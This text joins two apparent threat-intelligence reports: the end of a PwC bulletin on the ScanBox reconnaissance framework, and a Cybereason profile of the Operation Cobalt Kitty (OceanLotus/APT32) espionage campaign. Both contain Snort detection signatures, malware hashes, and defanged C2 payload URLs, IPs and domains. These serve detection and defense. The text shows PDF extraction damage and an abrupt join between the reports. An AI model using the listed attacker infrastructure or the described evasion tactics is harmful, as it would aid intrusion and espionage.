This method of sending links rather than waiting for visiting a specific compromised website has two main advantages: The advantage that the attacker doesnt have to compromise sites that are relevant to the sector they wish to perform reconnaissance against, so generally this will make things easier for the attacker and, The attacker has to deal with fewer false positives in terms of data received from victims.
Even good IP whitelisting techniques will result in some false positives, by controlling the visitors however they can ensure only those they want to scan are scanned.
This group differs from the others based on the following characteristics: They send e-mails with links to compromised websites, rather than compromising sites of interest to their targets.
Attackers send links to victims using a similar technique to that described in our Sofacy phishing blog14, where multiple redirects are deployed, one being a decoy, the other in this case loading ScanBox: 14 http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing.pdf Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Uses the checkFolders function within the ScanBox code, rather than explicitly checking for files and, Hosts the ScanBox code on the same page they have compromised rather than on a 3rd party IP address or domain name owned by the attacker.
So far we have identified four low key websites, all belonging to small companies based in the United States or Canada which are being abused in this fashion.
3.1.
Going behind enemy lines  fears of proliferation and upcoming attacks At one point during our investigation into infrastructure hosting ScanBox code, we identified a server which appeared to be used for development and testing purposes.
On this occasion, the server side code was publicly accessible, allowing us to gain insights into the development and testing phase of an attack using ScanBox.
This also included the ScanBox frameworks own detailed reconnaissance against the developer themselves.
We noted the developer repeatedly uploading the modified versions to VirusTotal, presumably in an attempt to improve evasion of anti-virus.
We do not believe this developer is part of the core group that has access to the original implementation, but is instead another actor, who is likely rebuilding ScanBox from samples they find online.
Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations The screenshot on the left is from a version currently in development by a possible attacker, the corresponding screenshot on the right is from a public article15.
15 http://www.cnxhacker.com/2015/01/19/6412.html Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations 4.
Conclusion The publication of threat information allows us to draw links between different campaigns, tools and malware but we need to be careful about which links we consider to be significant and ensure were confident in how information thats publically available was derived.
The summary above is just our view of the overlaps in web based tools/exploits and targets between different threat actors, but those with different datasets may be able to draw different conclusions.
Last time, we identified three possible hypotheses to explain the overlap between the ScanBox users, in this blog, based on the data we have available, we can settle on just one of these conclusions:  2.
Selections of actors share some resources, as per previous observations with similar kits by some security vendors.
Specifically, our key conclusions are: [High Confidence] - The DQM theory presented by FireEye and later explored by Symantec in 2014 about likely tool and exploit sharing between a specific set of groups continues to hold true, we can only speculate as to the nature of the relationships organisationally between these groups.
[
Medium Confidence] - We currently believe that the activity represented by Cluster 1 and the activity related to Th3Bug are distinct, but that there is overlap in who they are tasked to target.
[
Low confidence]  Th3Bug is one of the other actors who is in receipt of the same shared resource pool as those clusters already identified in this blog.
What is not clear is why specific resources (web-based exploits) appear to be shared, and why others (primarily malware families) are sometimes kept within a specific cluster.
Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations 5.
Signatures Snort Signatures  TLP WHITE alert tcp EXTERNAL_NET any - HOME_NET any (msg:--[PwC CTD] -- MultiGroup - ScanBox and Targetted Watering Holes Content (plugin_pdf_ie()) flow:established,from_server file_data content:plugin_pdf_ie() classtype:trojan- activity reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox- framework-whos-affected-and-whos-using-it-1.html metadata:tlp WHITE,author CDD sid:xxxxxx rev:2015021901) alert tcp EXTERNAL_NET any - HOME_NET any (msg:--[PwC CTD] -- MultiGroup - ScanBox Watering Hole Content (.item(0).appendChild(iframe_tag)) flow:established,from_server file_data content:.item(0).appendChild(iframe_tag) classtype:trojan-activity reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos- affected-and-whos-using-it-1.html metadata:tlp WHITE,author CDD sid:xxxxxx rev:2015021901) alert tcp EXTERNAL_NET any - HOME_NET any (msg:--[PwC CTD] -- MultiGroup - ScanBox and Targetted Watering Holes Content (var version\var ax\var e\tryaxonew ActiveXObject) flow:established,from_server file_data content:var version\var ax\var e\tryaxonew ActiveXObject classtype:trojan-activity reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos- affected-and-whos-using-it-1.html metadata:tlp WHITE,author CDD sid:xxxxxx rev:2015021901) alert tcp EXTERNAL_NET any - HOME_NET any (msg:--[PwC CTD] -- MultiGroup - ScanBox Watering Hole Content (document.getElementsByTagName(head).item(0).appendChild(form_tag)\) flow:established,from_server file_data content:document.getElementsByTagName(head).item(0).appendChild(form_tag)\ classtype:trojan-activity reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos- affected-and-whos-using-it-1.html metadata:tlp WHITE,author CDD sid:xxxxxx rev:2015021901) alert tcp EXTERNAL_NET any - HOME_NET any (msg:--[PwC CTD] -- MultiGroup - ScanBox Watering Hole Content (return ((a) ?
x-: a)  Math.floor(Math.random() 99999)\) flow:established,from_server file_data content:return ((a) ?
x-: a) Math.floor(Math.random()  99999)\ classtype:trojan-activity reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos- affected-and-whos-using-it-1.html metadata:tlp WHITE,author CDD sid:xxxxxx rev:2015021901) alert tcp EXTERNAL_NET any - HOME_NET any (msg:--[PwC CTD] -- MultiGroup - TH3BUG and Non-Targetted Groups Watering Hole Code (Chr(CInt(ns(i)) Xor n)) flow:established,from_server file_data content:Chr(CInt(ns(i)) Xor n) classtype:trojan-activity reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos- affected-and-whos-using-it-1.html metadata:tlp WHITE,author CDD sid:xxxxxx rev:2015021901) Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations 6.
Appendices Appendix A  ScanBox Sites Where the site was referenced via phishing as opposed to Watering Hole based activity, it has been excluded from the following table.
Where we have an assigned cluster, but have not discussed it in this document, we have given Cluster [Letter] these are not intended as names for groups.
Where we do not have an associated group we have listed unknown under this field.
Country Sector/Target Cluster CN Uyghur Cluster 1 US Think Tank Cluster 2 US Think Tank Cluster 2 US Think Tank Cluster 2 KR Hospitality Cluster 3 JP Industrial Sector Cluster 4 GB Chemicals Cluster 4 JP Geological Surveying Cluster 4 VN Government Cluster A JP Education Cluster A JP Geological Surveying Cluster A MN Government Cluster B MM Government Cluster C MN Media Unknown MN Media Unknown CN NGO Unknown VN Government Unknown AU Government Unknown CN Technology Unknown Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Appendix B  Indicators of Compromise  TLP:WHITE This table only includes related new single value IoCs which were not already published in our previous blog, which we are happy to share at TLP:WHITE Cluster Value Artefact type Cluster 1 1.9.5.38 IP Address Cluster 1 103.255.61.227 IP Address Cluster 1 118.193.153.221 IP Address Cluster 1 118.193.153.227 IP Address Cluster 1 174.121.122.73 IP Address Cluster 1 4639c30b3666cb11b3927d5579790a88bff68e8137f18241f4693e0d4539c608 Malware Hash Cluster 1 809959f390d5a49c8999ad6fff27fdc92ff1b2b0 Malware Hash Cluster 1 ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2 Malware Hash Cluster 1 e8a8ffe39040fe36e95217b4e4f1316177d675ed Malware Hash Cluster 1 file.googlecaches.com Hostname Cluster 1 gtm.googlecaches.com Hostname Cluster 1 js.googlewebcache.com Hostname Cluster 1 owa.outlookssl.com Hostname Cluster 4 122.10.10.161 IP Address Cluster 4 204.152.199.43 IP Address Cluster 4 50.2.24.211 IP Address Cluster 4 bak.mailaunch.com Hostname Cluster 4 f1890cc9d6dc84021426834063394539414f68d8 Malware Hash Cluster 4 us-mg6.mail.yahoo.mailaunch.com Hostname Appendix C  Standard software list detected by ScanBox 7z AhnLab_V3 antiyfx a-squared avg2012 avira Bit9 bitdefender_2013 BkavHome COMODO Dr.Web emet4.1 emet5.0 eScan eset_nod32 ESET-SMART ESTsoft Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Fortinet F-PROT F-Secure f-secure2011 IKARUS Immunet iTunes JiangMin Kaspersky_2012 Kaspersky_2013 Kaspersky_Endpoint_Security_8 mcafee_enterprise Mse Norman Norton Nprotect Outpost PC_Tools QuickHeal Rising Rising_firewall sophos SQLServer Sunbelt SUPERAntiSpyware Symantec_Endpoint12 symantec-endpoint Trend2013 ViRobot4 VirusBuster vmware-client vmware-server WinRAR winzip Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Further information For more in-depth coverage, including full details of the analysis behind this blog as well as additional indicators which can be used to detect similar samples, or if you have any other queries, please give us a shout at threatintelligenceuk.pwc.com.
The information contained in this document has been prepared as a matter of interest and for information purposes only, and does not constitute professional advice.
You should not act upon the information contained in this email without obtaining specific professional advice.
No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this email, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this email or for any decision based on it.
2016 Cybereason.
All rights reserved.
1 Operation Cobalt Kitty Threat Actor Profile Indicators of Compromise By: Assaf Dahan 2017 Cybereason Inc. All rights reserved.
1 Attribution In this APT, the threat actor was very aware of the risks of exposure and tried to combat attribution as much as possible.
This is often the case in this type of large-scale cyber espionage operations.
At the time of the attack, there werent many classic indicators of compromise (IOCs) that could lead to attribution.
However, at the same time, the threat actors behind Operation Cobalt Kitty left enough behavioral fingerprints to suspect the involvement of the OceanLotus Group (which also goes by the names APT-C-00, SeaLotus  and APT32), which was first documented by Qihoo 360s SkyEye Labs in 2015 and further researched by other security companies, including FireEyes report.
Reports of the groups activity in Asia date back to 2012, attacking Chinese entities.
Over the years, the group was observed attacking a wide spectrum of targets in other Asian countries (Philippines and Vietnam).
Cybereason concludes that the tactics, techniques and procedures (TTPs) observed throughout operation Cobalt Kitty are consistent with the groups previous APT campaigns in Asia.
The Lotus Group appears to have a tendency of using similar and even identical names for their payloads (seen in their PowerShell payloads, Denis backdoor and fake Flash installers).
In addition, they also used similar anonymization services for their domains repeatedly.
That type of small details also played a role in attributing Operation Cobalt Kitty to the OceanLotus Group.
Lastly, during the investigation, Cybereason noticed that some of the CC domains and IPs started to emerge on VirusTotal and other threat intelligence engines, with payloads that were not observed during Cobalt Kitty.
This was a cutting proof that Cobalt Kitty was not an isolated APT, but part of something bigger.
Example of the CC domains and IPs used by the group across different APT campaigns and caught in the wild: .chatconnecting(.
)com blog.versign(.
)com vieweva(.
)com tulationeva(.
)com teriava(.
)com tonholding(.
)com nsquery(.
)net notificeva(.
)com 23.227.196(.
)210 104.237.218(.
)72 45.114.117(.
)137 Some of these domains were also mentioned in FireEyes APT32 report, further confirming our suspicions that the group behind the attack is the OceanLotus Group.
The group includes members who are fluent in at least two Asian languages.
This claim is supported by the language used in the spear-phishing emails, which appear to be written by native speakers.
In addition, the  language localization settings found in few of the payloads suggest that the malware authors compiled the payloads on machines with Asian languages https://ti.360.com/upload/report/file/OceanLotusReport.pdf https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://web.archive.org/web/20151013184335/http:/drops.wooyun.org/papers/6335 https://web.archive.org/web/20151013184335/http:/drops.wooyun.org/papers/6335 https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html 2017 Cybereason Inc. All rights reserved.
2 support.
The threat actors are not likely native English speakers since multiple typos were found in their payloads.
For example, the following typo was observed in the file metadata of one of the backdoors.
Notice the Internal Name field (Geogle Update): Threat Actor Profile The attackers behind Operation Cobalt Kitty were extremely persistent.
Even when their campaign was exposed, the attackers did not give up.
They took pauses that lasted between 48 hours and four weeks and used the downtime to learn from their mistakes and develop workarounds before resuming the APT campaign.
The members of the OceanLotus Group demonstrated a remarkable ability to quickly adapt, introduce new tools and fine tune existing ones to bypass security solutions and avoid detection.
The high number of payloads and the elaborate C2 infrastructure used in this attack can be indicative of the resources that the attackers had at their disposal.
Simultaneously orchestrating multiple APT campaigns of such magnitude and sophistication takes time, financial resources and a large team who can support it.
Threat actors main characteristics Here are the main characteristics that can help profile the threat actor: Motivation - Based on the nature of the attack, the proprietary information that the attackers were after and the high-profile personnel who were targeted, Cybereason concluded the main motivation behind the attack was cyber espionage.
The attacker sought after specific documents and type of information.
This is consistent with previous reports about the groups activity show that the group has a very wide range of targets, spanning from government agencies, media, business sector, and more.
https://web.archive.org/web/20151013184335/http:/drops.wooyun.org/papers/6335 https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html 2017 Cybereason Inc. All rights reserved.
3 Operational working hours - Most of the malicious activity was mostly done around normal business hours (8AM-8PM).
Very little active hacking activity was detected during weekends.
The attackers showed a slight tendency to carry out hacking operations towards the afternoon and evening time.
These observations can suggest the following: Time zone(s) proximity.
An institutionalized threat actor (possibly nation-state) Outlook backdoor and data exfiltration - One of the most interesting tools introduced by the attackers was the Outlook backdoor, which used Outlook as a C2 channel.
This backdoor has not been publicly documented and is one of the most unique TTPs with regards to the threat actor.
Outlook backdoors are not a new concept and have been observed in different APTs in the past.
However, this specific type of Outlook backdoor is can be considered as one of the signature tools of the OceanLotus Group.
Publicly available tools - The attackers showed a clear preference to use publicly available hacking tools and frameworks.
Beyond being spared the hassle of creating a new tool, it is much harder to attribute a tool that can be used by anyone rather than a custom-made tool.
However, the attackers should not be considered script-kiddies.
Most of the publicly available tools were either obfuscated, modified and even merged with other tools to evade antivirus detection.
This type of customization requires good coding skills and understanding of how those tools work.
Cobalt Strike usage in APT - Cobalt Strike is a commercial offensive security framework designed to simulate complex attacks and is mainly used by security professionals in security audits and penetration testing.
The OceanLotus Group was previously documented using Cobalt Strike as one of its main tools.
Other Large scale APTs using Cobalt Strike have been reported before, such as  APT-TOCS (could be related to OceanLotus), Ordinaff, Carbanak Group, and the Cobalt Group.
Custom-built backdoors - The threat actor used very sophisticated and stealthy backdoors (Denis  Goopy) that were written by highly skilled malware authors.
During the attack, the authors introduced new variants of these backdoors, indicating on-the- fly development capabilities.
Developing such state-of-the-art backdoors requires skillful malware authors, time and resources.
In addition, both the Denis and Goopy backdoors used DNS Tunneling for C2 communication.
The OceanLotus Group is known to have a backdoor dubbed SOUNDBITE by FireEye that use this stealthy technique.
However, no public analysis reports of SOUNDBITE is available to the time of writing this report.
Exploiting DLL hijacking in trusted applications - The attackers exploited three DLL- hijacking vulnerabilities in legitimate applications from trusted vendors: Microsoft, Google and Kaspersky.
This further indicates the groups emphasis on vulnerability research.
DLL-hijacking / Side-loading attacks are not uncommon in APTs, some of which are also carried out by nation-state actors and advanced cyber-crime groups.
https://www.cybereason.com/cybereason-labs-research-a-new-persistent-attack-methodology-targeting-microsoft-owa/ https://www.cobaltstrike.com/ https://read01.com/yxjnL2.html https://read01.com/yxjnL2.html https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html http://www.antiy.net/p/analysis-on-apt-to-be-attack-that-focusing-on-chinas-government-agency/ https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks http://www.securityweek.com/carbanak-group-used-numerous-tools-recent-attacks http://securityaffairs.co/wordpress/53758/cyber-crime/jackpotting-attacks.html https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html 2017 Cybereason Inc. All rights reserved.
4 There have been reports in the past of GoogleUpdate exploited by PlugX by Chinese threat actors as well as the Bookworm RAT exploiting Microsoft and Kaspersky applications in APTs targeting Asia.
Insisting on fileless operation - While fileless delivery infrastructure is not a feature that can be attributed to one specific group, it is still worth mentioning since the attackers went out of their way to restore the script-based PowerShell / Visual Basic operation, especially after PowerShell execution had been disabled in the entire organization.
CC infrastructure Divide and conquer - Each tool communicated with different sets of CC servers domains, which usually came in triads.
For instance, Cobalt strike payloads communicated with certain sets of IPs/domains while the backdoors communicated with different sets of IPs/domains.
Re-use of domains and IPs across campaigns - Quite a few domains and IPs that were observed in Operation Cobalt Kitty were found in-the-wild, attacking other targets.
Its rather peculiar why the threat actor re-used the same domains and IPs.
It could be assumed that the malware operators wanted to have centralized CC servers per tool or tools, where they could monitor all of their campaigns from dedicated servers.
Anonymous DNS records - Most of the domains point to companies that provide DNS data privacy and anonymization, such as PrivacyProtect and PrivacyGuardian.
CC server protection - Most of the CC servers IP addresses are protected by  CloudFlare and SECURED SERVERS LLC.
OceanLotus Group activity in Asia As part of the analysis of the domains and IPs that were used in this operation, Cybereason found samples that were caught in-the-wild (that were not part of Operation Cobalt Kitty).
Analysis of those samples clearly indicates the involvement of the threat actor in Asia and Vietnam in particular.
Both Qihoo 360 and FireEye demonstrate in their reports  that the threat actor is involved in campaigns in different Asian countries, such as Vietnam, China, and the Philippines.
Most of the samples caught in-the-wild seem to target Vietnamese speakers.
Some of the samples exhibit clear evidence of targeting Vietnamese entities.
This conclusion is derived from the file names and file contents that are written in Vietnamese, as shown in the examples below: File Name: in thoi b chy.doc SHA-1: 38297392df481d2ecf00cc7f05ce3361bd575b04 Malicious Domain / IP:  193.169.245(.
)137 https://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q3-2014.pdf https://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q3-2014.pdf https://www.ipa.go.jp/files/000057175.pdf https://www.ipa.go.jp/files/000057175.pdf http://researchcenter.paloaltonetworks.com/2015/11/bookworm-trojan-a-model-of-modular-architecture/ http://researchcenter.paloaltonetworks.com/2015/11/attack-campaign-on-the-government-of-thailand-delivers-bookworm-trojan/ http://privacyprotect.org/ https://www.privacyguardian.org/ https://www.cloudflare.com/ https://securedservers.com/ 2017 Cybereason Inc. All rights reserved.
5 File Name: ID2016.doc SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc Malicious Domain / IP: support.chatconnecting(.
)com File Name: Giy yu cu bi thng mi 2016 - Hng.doc (Translation: New Claim Form 2016) SHA-1: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c Malicious Domain / IP: blog.versign(.
)info 2017 Cybereason Inc. All rights reserved.
6 Indicators of Compromise (IOCs) Malicious files Backdoors File name SHA-1 hash Msfte.dll ------------- Variant of Backdoor.
Win32.Denis be6342fc2f33d8380e0ee5531592e9f676bb1f94 638b7b0536217c8923e856f4138d9caff7eb309d dcbe007ac5684793ea34bf27fdaa2952c4e84d12 43b85c5387aafb91aea599782622eb9d0b5b151f Goopdate.dll ----------------- Goopy backdoor 9afe0ac621c00829f960d06c16a3e556cd0de249 973b1ca8661be6651114edf29b10b31db4e218f7 1c503a44ed9a28aad1fa3227dc1e0556bbe79919 2e29e61620f2b5c2fd31c4eb812c84e57f20214a c7b190119cec8c96b7e36b7c2cc90773cffd81fd 185b7db0fec0236dff53e45b9c2a446e627b4c6a ef0f9aaf16ab65e4518296c77ee54e1178787e21 product_info.dll [Backdoor exploiting DLL-hijacking against  Kaspersky Avpia] 3cf4b44c9470fb5bd0c16996c4b2a338502a7517 VbaProject.
OTM [Outlook Macro] 320e25629327e0e8946f3ea7c2a747ebd37fe26f sunjavascheduler.ps1 sndVolSSO.ps1 SCVHost.ps1 fhsvcs.ps1 Goztp.ps1 [PowerShell versions of the Denis / Goopy backdoors] 0d3a33cb848499a9404d099f8238a6a0e0a4b471 c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453 91e9465532ef967c93b1ef04b7a906aa533a370e Cobalt Strike Beacons 2017 Cybereason Inc. All rights reserved.
7 File name SHA-1 hash dns.exe cd675977bf235eac49db60f6572be0d4051b9c07 msfte.dll 2f8e5f81a8ca94ec36380272e36a22e326aa40a4 FVEAPI.dll 01197697e554021af1ce7e980a5950a5fcf88318 sunjavascheduler.ps1 syscheck.ps1 dns.ps1 activator.ps1 nvidia.db 7657769f767cd021438fcce96a6befaf3bb2ba2d Ed074a1609616fdb56b40d3059ff4bebe729e436 D667701804CA05BB536B80337A33D0714EA28129 F45A41D30F9574C41FE0A27CB121A667295268B2 7F4C28639355B0B6244EADBC8943E373344B2E7E Malicious Word Documents Some of the phishing emails and Word documents were very targeted and personalized, therefore, they are not listed here for privacy reasons File name SHA-1 hash CV.doc Complaint letter.doc License Agreement.doc [redacted] Loader scripts File name SHA-1 hash syscheck.vbs 62749484f7a6b4142a2b5d54f589a950483dfcc9 SndVolSSO.txt cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d 2017 Cybereason Inc. All rights reserved.
8 sunjavascheduler.txt 7a02a835016bc630aa9e20bc4bc0967715459daa Obfuscated / customized Mimikatz File name SHA-1 hash dllhosts.exe 5a31342e8e33e2bbe17f182f2f2b508edb20933f 23c466c465ad09f0ebeca007121f73e5b630ecf6 14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C KB571372.ps1 7CADFB90E36FA3100AF45AC6F37DC55828FC084A KB647152.exe 7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129 KB647164.exe  BDCADEAE92C7C662D771507D78689D4B62D897F9 kb412345.exe  e0aaa10bf812a17bb615637bf670c785bca34096 kb681234.exe  4bd060270da3b9666f5886cf4eeaef3164fad438 System.exe 33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc 550f1d37d3dd09e023d552904cdfb342f2bf0d35 decoded base64 Mimikatz payload c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4 Customized credential dumpers File name SHA-1 hash 2017 Cybereason Inc. All rights reserved.
9 log.exe [GetPassword_x64] 7f812da330a617400cb2ff41028c859181fe663f SRCHUI.dll adrclients.dll [HookPasswordChange] 29BD1BAC25F753693DF2DDF70B83F0E183D9550D FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642 KB471623.exe [Custom password dumper] 6609A347932A11FA4C305817A78638E07F04B09F doutlook.ps1 adobe.dat adrclients.ps1 [Custom password dumper] EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD B769FE81996CBF7666F916D741373C9C55C71F15 E64C2ED72A146271CCEE9EE904360230B69A2C1D Miscellaneous tools File name SHA-1 hash pshdll35.dll pshdll40.dll [PSUnlock - PowerShell Bypass tool] 52852C5E478CC656D8C4E1917E356940768E7184 EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 KB-10233.exe kb74891.exe [NetCat] C5e19c02a9a1362c67ea87c1e049ce9056425788 0908a7fbc74e32cded8877ac983373ab289608b3 IP.exe cmd.exe dllhost.exe [IP check Tool] 6aec53554f93c61f4e3977747328b8e2b1283af2 Payloads from CC servers URL Payload SHA-1 hash 2017 Cybereason Inc. All rights reserved.
10 hxxp://104.237.218(.
)67:80/icon.ico 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09 hxxp://support.chatconnecting(.
)com:80/icon.ico c41972517f268e214d1d6c446ca75e795646c5f2 hxxp://food.letsmiles(.
)org/login.txt 9f95b81372eaf722a705d1f94a2632aad5b5c180 hxxp://food.letsmiles(.
)org/9niL 5B4459252A9E67D085C8B6AC47048B276C7A6700 hxxp://23.227.196(.
)210:80/logscreen.jpg d8f31a78e1d158032f789290fa52ada6281c9a1f 50fec977ee3bfb6ba88e5dd009b81f0cae73955e hxxp://45.114.117(.
)137/eXYF D1E3D0DDE443E9D294A39013C0D7261A411FF1C4 91BD627C7B8A34AB334B5E929AF6F981FCEBF268 hxxp://images.verginnet(.
)info:80/ppap.png F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402 hxxp://176.107.176(.
)6/QVPh 8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C hxxp://108.170.31(.
)69/a 4a3f9e31dc6362ab9e632964caad984d1120a1a7 hxxp://support(.)chatconnecting(.
)com/pic.png bb82f02026cf515eab2cc88faa7d18148f424f72 hxxp://blog.versign(.
)info/access/?version4lid[reda cted]token[redacted] 9e3971a2df15f5d9eb21d5da5a197e763c035f7a hxxp://23.227.196(.
)210/6tz8 bb82f02026cf515eab2cc88faa7d18148f424f72 hxxp://23.227.196(.
)210/QVPh 8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5 hxxp://45.114.117(.
)137/3mkQ 91bd627c7b8a34ab334b5e929af6f981fcebf268 hxxp://176.223.111(.
)116:80/download/sido.jpg 5934262D2258E4F23E2079DB953DBEBED8F07981 hxxp://110.10.179(.
)65:80/ptF2 DA2B3FF680A25FFB0DD4F55615168516222DFC10 hxxp://110.10.179(.
)65:80/download/microsoftp.jpg 23EF081AF79E92C1FBA8B5E622025B821981C145 hxxp://110.10.179(.
)65:80/download/microsoft.jpg C845F3AF0A2B7E034CE43658276AF3B3E402EB7B 2017 Cybereason Inc. All rights reserved.
11 hxxp://27.102.70(.
)211:80/image.jpg 9394B5EF0B8216528CED1FEE589F3ED0E88C7155 CC IPs 45.114.117(.
)137 104.24.119(.
)185 104.24.118(.
)185 23.227.196(.
)210 23.227.196(.
)126 184.95.51(.
)179 176.107.177(.
)216 192.121.176(.
)148 103.41.177(.
)33 184.95.51(.
)181 23.227.199(.
)121 108.170.31(.
)69 104.27.167(.
)79 104.27.166(.
)79 176.107.176(.
)6 184.95.51(.
)190 176.223.111(.
)116 110.10.179(.
)65 27.102.70(.
)211 CC Domains food.letsmiles(.
)org help.chatconnecting(.
)com .letsmiles(.
)org support.chatconnecting(.
)com inbox.mailboxhus(.
)com blog.versign(.
)info news.blogtrands(.
)net stack.inveglob(.
)net tops.gamecousers(.
)com nsquery(.
)net tonholding(.
)com cloudwsus(.
)net nortonudt(.
)net teriava(.
)com tulationeva(.
)com 2017 Cybereason Inc. All rights reserved.
12 vieweva(.
)com notificeva(.
)com images.verginnet(.
)info id.madsmans(.
)com lvjustin(.
)com play.paramountgame(.
)com Appendix A: Threat actor payloads caught in the wild Domain Details VirusTotal inbox.mailboxhus(.
)com support.chatconnecting(.
)com (45.114.117.137) File name: Flash.exe SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09 Submitted: 2016-12-28 09:51:13 Link inbox.mailboxhus(.
)com support.chatconnecting(.
)com (45.114.117[.
]137) File name: Flash.exe SHA-1: 562aeced9f83657be218919d6f443485de8fae9e Submitted: 2017-01-18 19:00:41 Link support.chatconnecting(.
)com (45.114.117[.
]137) URL: hxxp://support(.
)chatconnecting.com/2nx7m Submitted: 2017-01-20 10:11:47 Link support.chatconnecting(.
)com (45.114.117[.
]137) File name: ID2016.doc SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc Submitted: 2016-11-23 08:18:43 Malicious Word document (Phishing text in Vietnamese) Link blog(.)versign(.
)info (23.227.196[.
]210) File name: tx32.dll SHA-1: 604a1e1a6210c96e50b72f025921385fad943ddf Submitted: 2016-08-15 04:04:46 Link blog(.)versign(.
)info (23.227.196[.
]210) File name: Giy yu cu bi thng mi 2016 - Hng.doc SHA-1: a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c Submitted: 2016-10-06 11:03:54 Malicious Word document with Phishing text in Vietnamese Link https://virustotal.com/en/file/9afd2ccb1e2c434d296a6fa54fa5425c827e4172947c05a7db226076996a3715/analysis/ https://virustotal.com/en/file/e19fc649fe55d73eff5b1e3f7180d777fbc5d481855f0b4e8eb0b78a25212353/analysis/ https://virustotal.com/en/url/0c58ccd13809121dc6dabb41efe6126272cde30f86dc162c860123a37f73e67a/analysis/ https://virustotal.com/en/file/ed67f59d5f92dba80901f0c6ccc0acf92cca1a0d8c33773fd424a503c77e12e7/analysis/ https://virustotal.com/en/file/8f667d56778a2c1d68fc33be1870ea0c5fda7173c8875eddb31a2a4a3b406f55/analysis/ https://virustotal.com/en/file/8c355092c7aaadb11748fd87ce528d3cdb483104e979d9b560af840eb8089f94/analysis/ 2017 Cybereason Inc. All rights reserved.
13 blog(.)versign(.
)info (23.227.196[.
]210) File name: Thong tin.doc SHA-1: a5fbcbc17a1a0a4538fd987291f8dafd17878e33 Submitted: 2016-10-25 Malicious Word document with Phishing text in Vietnamese Link Images.verginnet(.
)info id.madsmans(.
)com (176.107.176[.
]6) File name: WinWord.exe SHA-1: ea67b24720da7b4adb5c7a8a9e8f208806fbc198 Submitted: Cobalt Strike payload Downloads hxxp://images.verginnet(.
)info/2NX7M Using Cobalt Strike malleable c2 oscp profile Link tonholding(.
)com nsquery(.
)net File name: SndVolSSO.exe SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa Submitted: 2016-08-01 09:03:58 Denis Backdoor Variant Link tonholding(.
)com nsquery(.
)net File name: Xwizard / KB12345678.exe SHA-1: d48602c3c73e8e33162e87891fb36a35f621b09b Submitted: 2016-08-01 Link teriava(.
)com File name: CiscoEapFast.exe SHA-1: 77dd35901c0192e040deb9cc7a981733168afa74 Submitted: 2017-02-28 16:37:12 Denis Backdoor Variant Link Appendix B: Denis Backdoor samples in the wild File name SHA-1 Domain msprivs.exe 97fdab2832550b9fea80ec1b9 c182f5139e9e947 teriava(.
)com WerFault.exe F25d6a32aef1161c17830ea0c b950e36b614280d teriava(.
)com msprivs.exe 1878df8e9d8f3d432d0bc8520 595b2adb952fb85 teriava(.
)com CiscoEapFast.exe 094.exe 1a2cd9b94a70440a962d9ad7 8e5e46d7d22070d0 teriava(.
)com, tulationeva(.
)com, https://virustotal.com/en/file/284154091b06177e588ecfc235ae50f611c3ad9dd2741ebe329cf8125f0f587c/analysis/ https://virustotal.com/en/file/5c0cda1f5f7e69ec3d2b9c6c129f3b0509af84ff6e6f4b18b401f37777096027/analysis/ https://virustotal.com/en/file/087ef9f7ce4681d49c6fa8842785fedef21461f160a34fc37c75fed26ddfa91e/analysis/ https://virustotal.com/en/file/7f38efc01d7388df1a00500b5e9c857e47501066b49a8fcb8324378daab32d1e/analysis/ https://virustotal.com/en/file/ce478c8aabc980083a62f4ce4b040f1068e648d7cf6f3f94f283fd620eb8da24/analysis/ 2017 Cybereason Inc. All rights reserved.
14 notificeva(.
)com CiscoEapFast.exe 77dd35901c0192e040deb9cc 7a981733168afa74 teriava(.
)com, tulationeva(.
)com, notificeva(.
)com SwUSB.exe F:\malware\Anh Dng\lsma.exe 88d35332ad30964af4f55f1e44 c951b15a109832 gl-appspot(.
)org tonholding(.
)com nsquery(.
)net Xwizard.exe KB12345678.exe d48602c3c73e8e33162e8789 1fb36a35f621b09b tonholding(.
)com nsquery(.
